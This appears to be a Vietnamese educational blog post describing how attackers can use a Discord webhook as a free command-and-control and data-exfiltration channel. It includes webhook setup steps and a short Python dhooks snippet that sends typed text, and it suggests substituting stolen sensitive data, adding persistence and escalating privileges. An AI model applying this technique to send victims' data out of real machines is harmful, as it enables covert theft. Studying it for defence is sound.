+3

Malware Trick: Sử dụng Discord Webhook as a C2 server

Intro

⛔ Lưu ý nhỏ trước khi đọc: Bài viết sử dụng vào mục đích học tập, không tấn công hoặc khai thác trên máy của các nạn nhân. Mọi hành vi tấn công mà không được sự cho phép thì đều là trái pháp luật 😃

Oke thì bắt đầu bốc phét thôi.
Vào 1 ngày đẹp trời, mình đang bốc phét về các loại mã độc thì 1 câu hỏi ting lên trong đầu mình: "Liệu hacker đã sử dụng gì để truyền dữ liệu khi đã tấn công và thu thập các thông tin nhạy cảm từ máy nạn nhân? 🧐". Mình inbox một vài người bạn của mình và nhận được 1 số câu trả lời như sử dụng giao thức FTP (File Transfer Protocol), SFTP (SSH File Transfer Protocol), SCP (Secure Copy Protocol), SMTP(Simple Mail Transfer Protocol), ...
Bạn cho nó là xong rồi đúng không? 😁. Nhưng không... một câu hỏi nữa lại hiện lên trong đầu mình: "Chúng nó đều cần VPS để có thể giao tiếp được với nhau thì mìnhattacker phải cùng kết nối tới một mạng cục bộ. Vậy còn cách nào khác tiết kiệm chi phí hoặc tối ưu nhất là free không? (tiền đâu mà chơi với thứ xa xỉ kia 😦)". Và rồi sau một hồi search google thì mình nhận được 1 phương án đó là triển khai webhook như một kho lưu trữ trung gian mà thường được ví như C2 (Command and Control) server. Và sau 1 hồi nữa, mình quyết định chọn Discord làm nơi thực hành 😁. Tất cả là vì nó FREE (thực ra còn nhiều cái khác cũng Free, bạn có thể comment xuống bên dưới để mình biết với nhé 😝).
Bây giờ vào vấn đề chính nào...

WebHook

Nhắc đến Webhook nhiều rồi, vây Webhook là gì?

Webhook là một cách cho phép các ứng dụng gửi thông tin tự động từ một ứng dụng hoặc dịch vụ nào đó tới một ứng dụng hoặc dịch vụ khác một cách tự động khi có sự kiện xảy ra. Cụ thể, webhook thường được sử dụng để thông báo về các sự kiện hoặc cập nhật mới từ một ứng dụng hoặc dịch vụ đến một ứng dụng hoặc dịch vụ khác. Ví dụ, một webhook có thể được cấu hình để gửi thông báo tới một kênh trò chuyện khi có email mới đến, hoặc thông báo đến một hệ thống quản lý nhiệm vụ khi có sự thay đổi trong trạng thái của một tác vụ. Webhook thường được triển khai dưới dạng một URL được cung cấp bởi ứng dụng hoặc dịch vụ nhận thông tin. Khi sự kiện xảy ra, ứng dụng hoặc dịch vụ gửi dữ liệu đến URL webhook, và sau đó ứng dụng hoặc dịch vụ nhận thông tin sẽ xử lý dữ liệu này theo cách mà nó được cấu hình.

Bạn có thể đọc thêm từ tác giả Lê Thanh trên Viblo (link tham khảo mình để phía dưới nhé!). Ở bài này mình sẽ không nói sâu đến khái niệm 😄

Tận dụng WebHook như thế nào?

Đơn giản thì bạn có thể quan sát hình bên dưới (Hình vẽ có thể có sai sót do mình tự vẽ 😦):

image.png

Giả sử trong trường hợp này, Attacker đã thực thi thành công 1 đoạn mã độc trên máy nạn nhân và duy trì nó chạy liên tục (kĩ thuật Persistence) thì đường màu xanh chính là data của máy tính nạn nhân được gửi đến Server Discord và Hacker sẽ tương tác (đường màu tím) với server để thu thập các dữ liệu mà nạn nhân đã gửi - đây là trường hợp đơn giản nhất. Nguy hiểm hơn thì attacker sẽ triển khai các câu lệnh và sau đó thực thi trực tiếp trên máy tính nạn nhân ...
Tuy mạnh mẽ nhưng phương pháp này dễ bị Windows Defence bẻ gãy khi chưa thành hình 😄
Lúc này sự mạnh mẽ của các kĩ thuật Anti và các phương pháp mã hóa trỗi dậy mạnh mẽ 🐧

Triển khai

Lướt qua phần lí thuyết xuông của mình thì giờ là phần mình sẽ hướng dẫn các bạn setup và thực hành trên máy của mình (Đừng làm trên máy của người khác nhé 😄).
Yêu cầu:

  • Tất nhiên là kiểu gì cũng có Discord App rồi :v
  • Các công cụ như Python3, Visual Studio Code (để gửi dữ liệu đến Discord Server)
  • Thư viện: dhooks Python3 (Cài đặt với câu lệnh sau: python3 -m pip install dhooks )

Lấy Discord Webhook URL

Tạo server discord như hình 😄

image.png

Trỏ chuột đến image.png ở phần Kênh chat chung, chọn phần Tích hợp và nhấn tạo Webhook.

image.png

Hãy giữ URL cẩn thận nhé. Kẻo bị leak nhé🐧.
Bây giờ mình sẽ tiến hành viết code Python nhỏ để gửi tin nhắn đến discord nhé.

from dhooks import Webhook

hook = Webhook("ENTER_URL_WEBHOOK_HERE")

data = input("Enter the some text:")

hook.send(data)

Chạy đoạn code đó với python3 và bạn thử nhập bất kì vào xem 😄.

Kết quả:

image.png

Think more...

Nếu bây giờ thay vì đoạn code chỉ gửi các data thông thường như Hello... thì hacker sẽ chỉnh sửa mã nguồn thành gửi các thông tin nhạy cảm như ảnh bên dưới đây:

image.png

Thì có phải Hacker đã nắm rõ con mồi trong nằm bàn tay rồi phải không 😄. Bây giờ bước cuối cùng là kết nối tới máy nạn nhân và leo thang đặc quyền Windows/Linux thôi phải không 😄

Tổng kết

Webhook khá mạnh mẽ 😄. Đây là những gì mình biết và mình đã chia sẻ nó. Nếu có gì sai sót trong lời văn hoặc khái niệm nào đó, các bạn có thể comment xuống phía bên dưới để mình cải thiện hơn ở những bài viết sau nhé.
À quên, để phòng tránh các kiểu tấn công này, cách duy nhất là không tải các file từ người lạ gửi mà không rõ nguồn gốc hay không rõ tác giả...

⛔ Lưu ý: Bài viết sử dụng vào mục đích học tập, không tấn công hoặc khai thác trên máy của các nạn nhân. Mọi hành vi tấn công mà không được sự cho phép thì đều là trái pháp luật 😃

Tham khảo


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.